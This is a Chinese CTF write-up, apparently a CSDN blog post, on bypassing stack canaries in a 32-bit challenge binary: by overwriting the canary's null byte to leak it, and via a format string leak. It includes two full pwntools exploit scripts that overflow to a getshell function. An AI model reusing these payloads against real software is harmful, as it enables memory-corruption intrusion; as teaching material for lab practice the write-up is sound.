Canary 的绕过方法

题目下载

一、字符串截断获取canary

原理:

  • Canary设计其低字节为\x00,本意是阻止被read、write等函数直接将Canary读出来。通过栈溢出将低位的\x00覆写,就可以读出Canary的值。

二话不说,上题

6223550f8e3e4c60ae7082a12022b3ca.png

基础检查发现canary

丢入ida中

6f93bd166048427ba3796ec9a35e6b99.png

发现在循环printf,并且存在字符串漏洞(这个稍后再谈)

同时有getshell函数

5fff2e7654994c959a787379c631f431.png

可以直接拿shell

接下来就是找canary到栈顶的偏移

有两种方法,这里先介绍第一种

看汇编语言

跟进这段函数的汇编

d956f906af944a789bc7d78ba25202e5.png

发现 多了一段异或比较 

可以判断canary在var_c里,

5b1854f6dfb54f5ca15abc72a1837651.png

f7dba2417db64cdc9645919df209fb01.png

所以buf 到canary的偏移为0x70-0xc

payload1的构造为

payload1=b'a'*(0x70-0xc)

#注意 必须用sendline 发送 用\n来覆盖'\x00'

发送之后接受字符

canary=u32(io.recv(4))-0xa
#这里之所以要-0xa 是要去掉\n

最后构造payload2

payload2=b'a'*(0x70-0xc)+p32(canary)+b'a'*0xc+p32(getshell)

最终exp为

from pwn import *

context.binary = '1122'
#context.log_level = 'debug'
io = process('./1122')

get_shell = ELF("./1122").sym["getshell"]

io.recvuntil("Hello Hacker!\n")

# leak Canary
payload = b"A"*100
io.sendline(payload)

io.recvuntil("A"*100)
Canary = u32(io.recv(4))-0xa
log.info("Canary:"+hex(Canary))

# Bypass Canary
payload = b"a"*100+p32(Canary)+b"a"*12+p32(get_shell)
io.send(payload)

io.recv()

io.interactive()

最后强调一下

context.binary = '1122'
#context.log_level = 'debug'

这两行必须要有一个,否则无法运行

最后运行得到shell

ca95917ac9e1484f9a56feced23da1f2.png二、字符串漏洞泄露canary

原理

  • 格式化字符串漏洞可以打印出栈中的内容,因此利用此漏洞可以打印出canary的值,从而进行栈溢出

还是上面那道题

这次来介绍一下另一种寻找偏移的办法

用gdb 调试

先用gdb在printf处下断点

 069eedb8baaf434d8bf7fd0ab21cd043.png

找到第一个printf下的栈帧0xffffcf98

f7ae2cdad1db4aa1b71ce47469ed8fd4.png

从ida上知道程序主要在vuln 函数里面

用gdb 运行文件并在函数下断点运行

941cd70ce30a4bfcb829b9ff7f297d71.png

7487d0485f5344ddafb8aea6481704cf.png

发现有一段异或比较,可以判断canary 的值就在eax里面

不断步入到0x8049256

9c1dc74116fb40bca8a1cb7166632c72.png

记住eax的值

查看前50的栈帧

74f6a425289f4a8cad1acfb4f159c845.png

发现canary存在地址0xc中

可以计算偏移

2a986d1cd1b44f7bb9f2273a28bd9f5b.png

继续点n

到read 函数运行(这一步很重要,否则偏移不准确)

10a259f6189942188c17b19f0159cea2.png

再次查看栈帧计算此时canary 到esp的偏移量

4bd86eacf67a4be4a83da8827b9c527f.png

因为程序是32位

4个字节一组就是31组

所以canary的偏移为31

这部分可参考

https://www.freebuf.com/articles/system/233515.html

https://blog.csdn.net/glhdbk/article/details/100595050

则payload1可构造

payload_1 = b'%x-' * ( 6 + 25)
conn.send(payload_1)
recvbytes = conn.recv()

# 获取canary
canary = int(recvbytes.split(b'-')[-2], 16)

泄露出canary的值

最后进行再一次栈溢出

payload_2 = b'a' * (0x70 - 0xc) + p32(canary) + b'a'*0xc+ p32(getshell)

最终exp

from pwn import *
context.log_level = 'debug'
#context.log_level = 'debug'


conn = process('./1122')

getshell = 0x080491b6
conn.recvuntil('Hello Hacker!\n')

# 第一次溢出
payload_1 = b'%x-' * ( 6 + 25)
conn.send(payload_1)
recvbytes = conn.recv()

# 获取canary
canary = int(recvbytes.split(b'-')[-2], 16)
print(f'Canary: {hex(canary)}')
# 第二次溢出
payload_2 = b'a' * (0x70 - 0xc) + p32(canary) + b'a'*0xc+ p32(getshell)
conn.send(payload_2)
conn.recv()
conn.interactive()

笔者纯小白 有错误希望指出

  • 35
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值